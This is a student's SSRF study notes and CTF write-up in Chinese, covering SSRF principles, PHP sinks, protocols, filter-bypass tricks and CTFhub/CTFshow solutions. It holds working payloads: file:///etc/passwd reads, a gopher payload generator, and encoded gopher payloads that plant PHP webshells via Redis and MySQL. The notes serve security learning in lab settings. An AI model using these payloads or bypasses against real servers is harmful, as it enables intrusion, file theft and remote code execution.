技术内容 / 本科的一些学习笔记和wp / 2022暑假周报-SSRF基础 副本
2022暑假周报-SSRF基础 副本
0×01 原理概述
SSRF(Server-Side Request Forgery
) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统,即内网正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统
通俗来讲,有两个网站: A网站,所有人都可以访问的外网网站的 B网站,只能内部访问的网站 A网站能访问B网站 所以,作为普通用户,我们可以访问A网站,然后篡改获取资源的来源,请求从B网站获取资源。A网站没有检测我的请求合不合法,以自己A网站的身份去访问B网站,于是我们就有机会攻击B网站。
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求 ,并返回对该目标地址请求的数据
数据流:攻击者----->服务器----->目标地址(用户无法访问的内网主机)
根据用户指定的URL,Web应用便可以获取图片,下载文件,读取文件内容等操作
可以扫描服务的私有IPv4网络列表:
10.0.0.0/8
127.0.0.1/32
172.16.0.0/12
192.168.0.0/16
我们可以通过观察响应状态和响应时间来确定指定的端口是否打开/关闭
容易出现SSRF漏洞的地方
从WEB功能上寻找
分享:通过URL地址分享网页内容
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等
图片加载与下载:通过URL地址加载或下载图片
图片、文章收藏功能
未公开的api实现
网站采集、网页抓取的地方。
头像的地方。(远程加载头像)
一切要你输入网址的地方和可以输入ip的地方。
从URL关键字中寻找
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
......
0×02 相关的函数和协议
1. 函数
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
readfile():输出一个文件的内容
fsockopen():打开一个网络连接或者一个Unix 套接字连接
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
fopen():打开一个文件文件或者 URL
PHP原生类SoapClient在触发反序列化时可导致SSRF
一些注意事项:
1. 一般情况下PHP不会开启fopen的gopher wrapper
2. file_get_contents的gopher协议不能URL编码
3. file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4. curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5. curl_exec() //默认不跟踪跳转
6. file_get_contents() // file_get_contents支持php://input协议
file_get_contents()
file_get_contents函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_contents函数把一个字符串写入文件中。
比如以下代码在Win10上部署,这段代码使用file_get_contents()函数从用户指定的URL获取图片并展示给用户。和Win10同一内网的Kali在8000端口服务开启了只供内部人员使用的资料比如ssrf_flag,此时如果攻击者提交如下Payload,就可以获取到内网主机HTTP服务8000端口的开放情况
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>
fsockopen()
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
curl_exec()
<?php
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
2. 协议
file协议
在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict协议
泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议
gopher协议是ssrf利用中最强大的协议
gopher协议是一种信息查0找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
https://blog.csdn.net/unexpectedthing/article/details/121667791
https://blog.csdn.net/qq_60115503/article/details/124407499
https://blog.chaitin.cn/gopher-attack-surfaces/
利用:
攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求
GTE请求
构造HTTP数据包
URL编码、替换回车换行为%0d%0a,HTTP包最后加%0d%0a代表消息结束
发送gopher协议, 协议后的IP一定要接端口
POST请求
POST与GET传参的区别:它有4个参数为必要参数
需要传递Content-Type,Content-Length,host,post的参数
切记:Content-Length和POST的参数长度必须一致
例如 使用file协议读取源码:?url=file:///var/www/html/index.php
python脚本生成payload(POST和GTE请求都适用)
import urllib.parse
payload = """
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=a68a3b03e80ce7fef96007dfa01dc077
"""
tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A') #CRLFL漏洞
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)
还有个巨好用的工具工具地址:https://github.com/tarunkant/Gopherus
http/s协议
探测内网主机存活
0x03 漏洞利用
协议利用方法
1. 利用file协议任意文件读取
url?url=file:///etc/passwd
常见的如/var/www/html
CTFhub例题:
http://challenge-3f48eabbf8524a87.sandbox.ctfhub.com
/?url=file:///var/www/html/flag.php2.利用dict协议查看端口
查看端口及端口上运行服务的版本信息
url?url=dict://127.0.0.1
/端口开放时:
端口未开放时
3.利用gopher协议get shell
攻击内网Redis并反弹shell
利用Redis未授权访问攻击Redis
Redis一般都是绑定在6379端口。如果没有设置口令(默认是无),攻击者就可以通过SSRF漏洞未授权访问内网Redis,一般用来写入Crontab定时任务用来反弹shell,或者写入webshell等等。
可参考
https://www.cnblogs.com/sijidou/p/13681845.html
https://www.bilibili.com/read/cv16209804/
攻击Mysql服务
如果内网开启了3306端口,存在没有密码的mysql,则也可以使用gopher协议进行ssrf攻击。
2. 探测内网主机存活
一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。我们可以借助burp中的爆破模块进行存活主机探测。
以Pikachu靶场为例
3. 扫描内网端口
通过dict协议可以探测到内网服务器的端口,如果端口没开放不会有回显。
可以用burpsuite来完成,首先抓包,发送到Intruder进行爆破设置:
0x04 Bypass
1.SSRF URL Bypass
提示只允许下面的域名访问。
我们可以利用@来绕过
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
2. 进制转换 Bypass
进制绕过,这里有个在线转换网站
https://tool.520101.com/wangluo/jinzhizhuanhuan/
十六进制
http://127.0.0.1/=http://0x7F.0.0.1/=http://0x7F000001/
http://192.168.0.1 转换为 http://c0.a8.00.01 或 http://0xc0a80001
八进制
http://127.0.0.1/ 转换为http://0177.0.0.1/flag.php
http://192.168.0.1/ 转换为 http://0300.0250.0000.0001 或 http://030052000001
十进制
http://0177.0.0.1/ = http://127.0.0.1 http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1
一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1,127.0.0.1写成127.1
CIDR绕过localhost
url=http://0/
url=http://0.0.0.0/
url=http://[0:0:0:0:0:ffff
.0.0.1]/url=http://①②⑦.⓪.⓪.①
一些情况下点换成句号也可以实现绕过(但我不知道什么情况)
3. SSRF 302跳转bypass
3.1 方法一:借助重定向网址
网址http://xip.io 当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:当我们访问 http://127.0.0.1.xip.io/flag.php,那么实际上我们访问的是就http://127.0.0.1/flag.php。
但是http://xip.io网址不可用,失败,尝试其他网站比如:
也没有成功。
3.2 方法二:借助短链接
3.3 方法三:借助服务器重定向
当ssrf限制只能使用http或https协议,可通过Header函数绕过限制。在vps创建一个302.php的文件,根据需求设置协议类型,内容参考下图:
将对应的url参数改为:http://vpsip/302.php即可进行深度利用。
4. SSRF DNS-Rebinding重绑定
1、获取到用户输入的url
2、解析出url中host的ip
3、判断ip是否合法
4、合法则进行服务端请求。
在这个流程中,一共存在两次 DNS解析,第一次是解析HOST对对应的IP,第二次是服务端请求时解析一次IP,两次请求是存在时间差的,这个时间差对应的机制就是TTL,它表示域名和IP绑定在DNS里面能存活的时长。如果我们能在这个TTL时间内替换HOST对应的IP为内网IP,那么缓存在TTL到期时,就可以请求到内网的资源了。
总结来说,DNS 重绑定攻击的原理是:利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip达到突破同源策略或过waf进行ssrf的目的。
利用DNS重绑定辅助网址:https://lock.cmpxchg8b.com/rebinder.html
5.通过各种非HTTP协议
如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。
如万金油gopher
6.符号绕过
- 在url中加@符号(http基础认证)
利用@ http://xxx.com@www.baidu.com/与http://www.baidu.com/请求时是相同的,
实际请求的是@之后的url地址
- 末尾加上#或?
- 利用封闭式字符数字ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
Enclosed alphanumerics
利用Enclosed alphanumerics ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
DNSLOG实现无回显注入
原理:就是,将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去,然后受害者服务器去解析此域名进行请求,我们就可以在我们的ns服务器的DNS解析日志来获取到它们。DNSLOG是一种回显机制,使用者可以通过DNS解析日志来读取漏洞的回显。(将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。)
推荐使用http://www.dnslog.cn平台或者t00ls的DNSLOG平台,如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:https://github.com/BugScanTeam/DNSLog。另外我们也可以使用在线平台:http://admin.dnslog.link。 http://ceye.io。
0×05 一些做题思路
1.基本判断(排除法)
如:http://www.douban.com/\*\*\*/service?image=http://www.baidu.com/img/bd\_logo1.png
排除法一:直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是http://www.baidu.com/img/bd\_logo1.png,说明不存在SSRF漏洞。
排除法二:使用burpsuite等抓包工具来判断是否不是SSRF,首先SSRF是由服务端发起的请求,因此在加载图片的时候,是由服务端发起的,所以在我们本地浏览器的请求中就不应该存在图片的请求,如果刷新当前页面,有如下请求,则可判断不是SSRF。(前提设置burpsuite截断图片的请求,默认是放行的)
修改"type=file"为"type=url" 比如:上传图片处修改上传,将图片文件修改为URL
有时也可也形成ssrf
题目练习
(有些题我直接偷的师傅博客里的图)
CTFhub1
目录扫描获取到知道存在flag.php文件,我们通过SSRF漏洞读取flag.php的源码文件。
?url=file:///var/www/html/flag.php
提示只能来自127.0.0.1。
?url=http://127.0.0.1/flag.php
拿到了key,只需要构造POST请求,把key提交给flag.php页面即可
构造一个POST请求包,POST、Host、Content-Type和Content-Length是POST请求必须的。如果少了会报错的,GET请求不会。Content-Length为字符串"key=536c7b793ac0ea703996c111911c1a2a"的长度。
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=5e37e6b3f645b286834aabb8a49dac71
将数据包进行编码
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=f1ddd2efba9480d821debc09bfa09d4d
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
然后发送goher协议,gopher协议的具体格式
gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body
?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1ddd2efba9480d821debc09bfa09d4d%250D%250A
CTFhub2
生成gopher协议的payload
做二次url编码
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
访问shell.php
Webshell写入成功,查看文件
查看flag文件
CTFhub3
<?php $ip = '127.0.0.1'; $ip = explode('.',$ip); $r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ; if($r < 0) { $r += 4294967296; } echo "十进制:"; echo $r; echo "八进制:"; echo decoct($r); echo "十六进制:"; echo dechex($r); ?>
127.0.0.1: 八进制:0177.0.0.1 十六进制:0x7f.0.0.1 十进制:2130706433
CTFhub4
访问flag.php文件,上传webshell抓包
修改上面的脚本,将捕获到的文件上传的数据包放进去。
通过gopher协议发送payload。
CTFshow5
A记录是127.0.0.1的网站: http://sudo.cc/,可以不用解析自己的。
CTFshow Web入门 web352-353
CTFshow Web入门 web355
设置了$host<5的限制,随便来个利用127.0.0.1=127.1刚好是5位
CTFshow Web入门 web356
限制$host<3
CTFshow Web入门 web357
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值
CTFshow Web入门 359
select "<?php eval($_POST[cmd]); ?>" into outfile "/var/www/html/cmd.php";
将_后面的字符全部进行urlencode编码一次,编码网址:https://meyerweb.com/eric/tools/dencoder/
编码后结果为
%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%2520%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2522%253b%2501%2500%2500%2500%2501
发送
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%2520%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2522%253b%2501%2500%2500%2500%2501
然后执行命令